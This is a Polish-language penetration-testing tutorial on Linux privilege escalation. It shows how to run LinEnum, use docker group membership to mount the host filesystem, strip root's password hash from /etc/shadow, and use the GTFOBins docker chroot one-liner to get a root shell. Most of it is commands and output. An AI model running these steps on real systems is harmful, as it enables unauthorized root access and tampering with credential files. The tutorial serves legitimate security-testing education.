Po znalezieniu podatności pozwalającej nam na remote code execution w systemie linux w większości wypadków nie będziemy mieli uprawnień root-a. W tym poście postaram się opisać jedną z metod eskalacji uprawnień. Wykorzystamy tu narzędzie LinEnum - https://github.com/rebootuser/LinEnum

W celu pobrania i uruchomienia LinEnum wykonujemy polecenie

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x
./LinEnum.sh

Po kilku minutach na ekranie powinniśmy zobaczyć obszerny wynik działania skryptu z informacjami odnośnie systemu, użytkowników i ich uprawnień. W przypadku który opiszę skupimy się na tej części wyniku skryptu:

[+] We're a member of the (docker) group - could possibly misuse these rights!
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)

Wygląda na to, że użytkownik został dodany do grupy “docker” np poprzez użycie komendy:

sudo usermod -aG docker $USER

Jak możemy to wykorzystać? Najprostszym sposobem będzie utworzenie dockerowego kontenera z zamontowanym systemem plików całej maszyny.

docker run -v /:/mnt -it alpine

System plików maszyny zamontowany jest w folderze /mnt . Edytujemy więc plik /mnt/etc/shadow

vi /mnt/etc/shadow

a następnie usuwamy hasło użytkownika root poprzez skasowanie “x” znajdującego się po pierwszym dwukropku

Przed:
root:x:18906:0:99999:7:::

Po usunięciu
root::18906:0:99999:7:::

Wychodzimy z utworzonego kontenera komendą “exit” a następnie przełączamy się na konto root-a którego hasło uprzednio skasowaliśmy

exit
su - root

Jeżeli wszystko przebiegło zgodnie z planem posiadamy już dostęp do konta administratora maszyny i jesteśmy w stanie przeprowadzić dalszą część naszych testów bezpieczeństwa.

Alternatywną drogą zdobycia uprawnień administratora jest skorzystanie z GTFOBins Jest to lista plików binarnych które mogą być używane do ominięcia lokalnych ograniczeń bezpieczeństwa w źle skonfigurowanych systemach.

Po wejściu na stronę klikamy na przycisk “Sudo” i znajdujemy tam binarkę docker-a. Na samym dole strony pokazana jest komenda którą należy wykonać w celu eskalacji uprawnień

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

W wyniku wykonania komendy jesteśmy automatycznie przełączani na shell-a konta root.

# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)